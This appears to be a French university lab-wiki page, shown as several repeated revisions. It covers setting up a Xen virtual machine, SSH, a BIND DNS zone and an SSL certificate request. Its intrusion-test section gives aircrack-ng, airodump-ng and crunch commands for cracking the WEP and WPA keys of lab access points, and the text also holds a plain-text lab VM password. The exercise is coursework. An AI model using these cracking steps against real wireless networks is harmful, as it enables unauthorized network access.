'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte :<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
Puis on execute <br />
tail -50 /var/log/daemon.log<br />
On obtient : <br />
Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied<br />
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.<br />
<br />
#Certificat SSL<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56970TP sysres IMA5 2021/2022 G112021-12-13T15:00:09Z<p>Cgodet1 : /* Creation de la machine virtuelle */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte avec :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56962TP sysres IMA5 2021/2022 G112021-12-13T14:54:42Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte avec :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56961TP sysres IMA5 2021/2022 G112021-12-13T14:54:33Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte avec :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
